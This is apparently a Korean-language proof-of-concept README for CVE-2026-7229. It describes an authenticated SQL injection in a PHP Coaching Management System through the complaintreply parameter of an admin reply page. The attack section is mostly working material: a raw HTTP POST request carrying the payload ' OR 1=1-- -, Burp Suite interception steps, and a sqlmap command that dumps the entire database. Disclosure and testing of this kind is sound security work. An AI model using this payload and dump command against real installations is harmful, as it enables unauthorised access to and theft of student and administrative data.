xmyronn/cve-2026-7229-sqli# 인증된 SQL 인젝션 개념 증명 코칭 관리 시스템(Coaching Management System)의 인증된 SQL 인젝션에 대한 개념 증명으로, 검증되지 않은 complaintreply 파라미터를 통한 데이터베이스 덤프를 시연합니다.
PHP 기반 코칭 관리 시스템(Coaching Management System)에 SQL 인젝션 취약점이 존재합니다. 관리자 답변 기능의 complaintreply 매개변수가 SQL 쿼리에 사용되기 전에 제대로 검증되지 않습니다. 인증된 공격자(관리자)가 악성 SQL 쿼리를 주입하여 전체 데이터베이스를 추출할 수 있습니다.
/cims/modules/admin/reply.phpcomplaintreplycode-projects.org
PHP 기반 코칭 관리 시스템 https://code-projects.org/coaching-management-system-in-php-with-source-code/
알 수 없음 (2026년 4월 기준 최신 버전에서 테스트됨)
학생이 불만 사항을 제출합니다 
관리자가 불만 사항을 열고 답변 기능에 접근합니다
POST /cims/modules/admin/reply.php?complaintid=18 HTTP/1.1 Host: 192.168.0.9 Content-Type: application/x-www-form-urlencoded
complaintreply=' OR 1=1-- -&submit=submit
Burp Suite를 통해 요청을 가로챕니다 
페이로드 주입:
'
SQL 오류 확인
7. 인젝션 확인:
' OR 1=1-- -
다음 명령으로 데이터베이스 덤프:
sqlmap -r sqli.txt --dump
심각도: CRITICAL